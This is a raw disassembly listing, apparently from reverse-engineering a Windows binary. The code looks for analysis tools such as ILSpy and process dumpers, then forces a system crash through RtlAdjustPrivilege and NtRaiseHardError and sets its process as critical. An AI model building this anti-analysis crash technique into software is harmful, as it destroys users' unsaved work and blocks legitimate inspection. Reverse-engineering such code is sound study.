call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454c92
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454c92
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x1c0]
cmp ecx, 0x10
jb 0x454d67
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454cc6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454d67
sub esp, 0x18
mov ecx, esp
push 5
movups xmmword [ecx], xmm0
push str.ilspy
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 5
push str.ilspy
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454d67
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454d67
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x1d8]
cmp ecx, 0x10
jb 0x454e3c
mov edx, dword [ebp - 0x1ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454d9b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454e3c
sub esp, 0x18
mov ecx, esp
push 0xd
movups xmmword [ecx], xmm0
push str.microsoft_spy
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 0xd
push str.microsoft_spy
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454e3c
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454e3c
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x1f0]
cmp ecx, 0x10
jb 0x454f49
mov edx, dword [ebp - 0x204]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454e70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454f49
sub esp, 0x18
mov ecx, esp
push 0xa
movups xmmword [ecx], xmm0
push str.dumper.exe
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 0xa
push str.dumper.exe
jmp 0x454eea
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 4
movups xmmword [ecx], xmm0
push str.dump
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 4
push str.dump
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454f49
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454f49
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x454f79
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454f6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x454faf
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454fa5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x454fa5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005c6577
add esp, 8
mov byte [ebp - 0x11], 1
jmp 0x453094
push ecx
push esi
call fcn.005c6577
add esp, 8
mov al, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005c61f7
mov esp, ebp
pop ebp
ret